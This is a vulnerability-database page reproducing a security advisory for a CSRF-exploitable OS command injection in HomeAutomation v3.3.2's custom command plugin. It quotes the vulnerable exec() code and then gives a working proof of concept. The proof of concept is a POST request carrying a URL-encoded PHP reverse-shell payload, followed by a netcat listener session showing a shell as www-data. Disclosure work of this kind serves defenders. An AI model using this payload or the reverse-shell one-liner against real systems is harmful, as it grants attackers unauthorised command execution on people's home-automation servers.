Lucene search
K

HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC

🗓️ 29 Dec 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 104 Views

HomeAutomation v3.3.2 CSRF Remote Command Execution vulnerability discovered. Executes arbitrary shell commands via unsanitized PHP exec() function in custom command v0.1 plugin

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
Subreddit Home Automation 操作系统命令注入漏洞
27 Apr 202100:00
cnnvd
CVE
CVE-2020-22000
27 Apr 202117:51
cve
Cvelist
CVE-2020-22000
27 Apr 202117:51
cvelist
EUVD
EUVD-2020-14766
7 Oct 202500:30
euvd
NVD
CVE-2020-22000
27 Apr 202118:15
nvd
OSV
CVE-2020-22000
27 Apr 202118:15
osv
Prion
Design/Logic Flaw
27 Apr 202118:15
prion
<html><body><p>HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC

Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application suffers from an authenticated OS command execution vulnerability
using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to
execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'
POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by
using an unsanitized PHP exec() function.

===============================================================================
/system/systemplugins/customcommand/customcommand.plugin.php:
-------------------------------------------------------------

77: 	function toggleDevices($devicesToToggle, $statuses) {
78: 		$output = array();
79: 		$command = "";
80: 
81: 		foreach($devicesToToggle as $device)
82: 		{
83: 			$status = $statuses[$device["id"]];
84: 			if($status == 0) {
85: 				$command = $this-&gt;getSettings("command_off");
86: 			} else {
87: 				$command = $this-&gt;getSettings("command_on");
88: 			}
89: 
90: 			if(!empty($command)) {
91: 				$command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);
92: 
93: 				exec($command, $output);
94: 
95: 				SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));
96: 			}
97: 		}
98: 
99: 		return "";
100: 	}
===============================================================================

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5560
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php


06.11.2019

--


POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1

plugin=customcommand&amp;action=savesettings&amp;set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&amp;set_command_off=&amp;savesettings=Save

-

lqwrm@metalgear:/$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 40724 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/homeautomation_v3_3_2
$ exit
lqwrm@metalgear:/$ 
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation